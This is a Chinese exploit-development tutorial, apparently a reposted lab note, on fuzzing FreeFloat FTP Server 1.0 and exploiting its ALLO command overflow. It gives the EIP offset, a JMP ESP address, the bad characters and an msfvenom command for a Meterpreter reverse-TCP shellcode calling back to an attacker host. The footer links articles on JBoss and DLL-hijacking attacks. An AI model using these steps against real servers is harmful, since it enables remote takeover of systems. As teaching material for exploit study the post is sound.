Fuzzing FreeFloatFTPserver1.0与漏洞利用

摘要:
monamodules/˃!
Fuzzing FreeFloatFTPserver1.0与漏洞利用

目录

Fuzzing FreeFloatFTPserver1.0与漏洞利用
目录
☛ 1.漏洞介绍
☛ 2.模糊测试,测试溢出
☛ 3.模糊测试,寻找返回EIP位置
☛ 4.模糊测试,测试EIP
☛ 5.模糊测试,寻找payload启动地址
☛ 6.寻找跳板指令并测试(使用系统为 xp sp3)
☛ 7.测试获取坏字符
☛ 8.使用 metaspliot 生成 Shellcode 完成利用
☛ 9.漏洞利用
☛ 10.总结
☛ 完成时间:2018-10-26 15:02:46 星期五

☛ 1.漏洞介绍

  • 软件名称:FreeFloatFTPserver1.0
  • 漏洞介绍:多个FTP通信指令存在远程溢出漏洞
  • 关于FTP协议:每一个FTP指令发送之后,FTP服务器都会返回一个字符串,其中包括一个返回代码和一串说明信息
  • 常用FTP指令:由于FTP协议的固定性,所以我们可以对FTP服务器模拟发送FTP命令进行模糊测试,从而挖掘一些漏洞

☛ 2.模糊测试,测试溢出

1.使用15PB-FTP-Fuzzer模糊测试

  • 通过更改Fuzzing粒度Fuzzing速度测试模式等,在使用一些配置如下图时,造成溢出
    Fuzzing FreeFloatFTPserver1.0与漏洞利用第1张
  • Fuzz溢出截图
    Fuzzing FreeFloatFTPserver1.0与漏洞利用第2张
  • 测试得到的poc:poc = "ALLO" + 'x41'*302

☛ 3.模糊测试,寻找返回EIP位置

1.生成poc长度的唯一字符串组成的字符串,使用 Kali 中的工具

/>cd /usr/share/metasploit-framework/tools/exploit
/>./pattern_create.rb -l 302 #生成字符串长度
Fuzzing FreeFloatFTPserver1.0与漏洞利用第3张

2.修改 py 脚本测试

  • OD附加调试
  • 运行攻击脚本

    />python 02.py
    Fuzzing FreeFloatFTPserver1.0与漏洞利用第4张

☛ 4.模糊测试,测试EIP

1.测试EIP位置步骤

  • 转换EIP中的字符:EIP = 0x41326941 -> Ai2A

  • 使用pattern_offset.rb求字符串所在偏移

    />./pattern_offset.rb -q Ai2A
    Fuzzing FreeFloatFTPserver1.0与漏洞利用第5张

  • 在偏移246处

  • 运行 py 脚本确认溢出点
    payload = "x41"*246 + "x42"*4 + "x41"*(302-246-4)
    Fuzzing FreeFloatFTPserver1.0与漏洞利用第6张

☛ 5.模糊测试,寻找payload启动地址

1.测试前面 246 字节 payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1" + "\x42"*4 + "\x41"*(302-246-4)
2.测试 ESP 指向的空间 payload = "\x41"*246 + "\x42"*4 + "\x43"*500
3.测试 ESP 指向空间的大小 payload = "\x41"*246 + "\x42"*4 + "\x43"*8 + "\x44"*500

  • "x44"*500 即为 ESP 指向的空间
    Fuzzing FreeFloatFTPserver1.0与漏洞利用第7张

☛ 6.寻找跳板指令并测试(使用系统为 xp sp3)

1.使用ImmunityDebugger寻找跳板指令JMP ESP

/>!mona modules
/>!mona find -s "xffxe4" -m OLEACC.dll
Fuzzing FreeFloatFTPserver1.0与漏洞利用第8张

  • 0x7d7d77d0 => xd0X77X7dX7d 2.运行 05.py

Fuzzing FreeFloatFTPserver1.0与漏洞利用第9张

☛ 7.测试获取坏字符

1.构造0xFF~0x00字符串,测试坏字符,再构造Shellcode时避免这些字符串,防止截断
Fuzzing FreeFloatFTPserver1.0与漏洞利用第10张

  • Dadchar:\x0D\x0A\x00

☛ 8.使用 metaspliot 生成 Shellcode 完成利用

1.工具:msfvenom
常用参数:

-p :指定 payload 类型
LHOST :指定IP地址(kaliIP地址)
LPORT :指定端口(4444)
-f :指定生成 shellcode 类型
-o :指定输出文件路径
-b :指定坏字符(生成时避免产生坏字符)
-l :查看参数对应支持的具体数据

2.生成 Shellcode 命令:

/>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4444 -b "x00x0dx0a" -f python
Fuzzing FreeFloatFTPserver1.0与漏洞利用第11张

3.将生成的 shellcode 放到07.py

☛ 9.漏洞利用

1.先打开msfconsole 然后运行 07.py
Fuzzing FreeFloatFTPserver1.0与漏洞利用第12张

2.漏洞利用效果
Fuzzing FreeFloatFTPserver1.0与漏洞利用第13张

☛ 10.总结

  • 模糊测试一种非常好的漏洞挖掘的方法,但这种方法的有效性在于对协议要了解,本节分析 的 FTP 服务器涉及的 FPT 协议相对有规律,所以模糊测试成功不错。 Metasploit 中的 payload 非常丰富,是漏洞利用过程中不可或缺的利器

☛ 完成时间:2018-10-26 15:02:46 星期五

<wiz_tmp_tag contenteditable="false" style="display: none;">
 
 
 
 


来自为知笔记(Wiz)


免责声明:文章转载自《Fuzzing FreeFloatFTPserver1.0与漏洞利用》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇.net断点续传[原][译][osg][osgEarth]飞行模拟软件JSBSim的操作(FGFCS类)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

嵌入式 Linux下编译并使用curl静态库

#x86./configure --disable-shared --enable-static --disable-ftp --disable-ipv6 --disable-rtsp --disable-tftp --disable-telnet --disable-largefile --disable-smtp --disable-imap --wi...

Delphi FTP例子源码

unit TransferThread; //////////////////////////////////////////////////////////////////////////////// // 模块说明: FTP传输核心模块类 // 功能: 指定一个下载(上传)的日期或文件名,系统执行传输功能(支持续传) // 备注:该模块属于传输类的一个...

JBOSS未授权访问漏洞复现

目录 1.JBOSS是什么 2.JBOSS未授权访问是什么 3.漏洞环境搭建 4.漏洞复现 进入控制台 进入应用部署页面 上马 5.jexboss工具安装方法: 6.war的制作 1.JBOSS是什么 JBOSS是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理...

看我如何用微信上线CobaltStrike

前言   DLL劫持漏洞是老生常谈的一个漏洞,已经被前辈们各种奇技淫巧玩烂。但DLL劫持技术在后渗透和域渗透中的权限提升和权限维持都起到了至关重要的作用。本文简单剖析DLL劫持技术并通过实例应用来查看如何在渗透工作中利用此项技术。篇幅稍长,各位读者耐心观看,文中有不妥之处请各位加以斧正。 DLL劫持原理 什么是DLL?   DLL是动态链接库文件,在Win...

CentOS6.6安装及配置vsftpd文件服务器

1、安装vsftpd和db4-utils,后者用来生成密码库文件,命令如下:   # yum install -y vsftpd db4* 2、修改SELINUX,命令如下:   # vim /etc/sysconfig/selinux    // 将SELINUX=enforcing 改为 SELINUX=permissive   # setenforc...

Jenkins+Gradle+Git自动打apk包,并上传到ftp

软件安装: 1、安装Jenkins、git、AndroidSDK 2、配置AndroidSDK环境变量 ANDROID_HOME:D:Androidsdk PATH:%ANDROID_HOME%platform-tools;%ANDROID_HOME% ools 环境配置: 1、打开Jenkins首页,进入系统管理--插件管理--可选插件列表,安装Grad...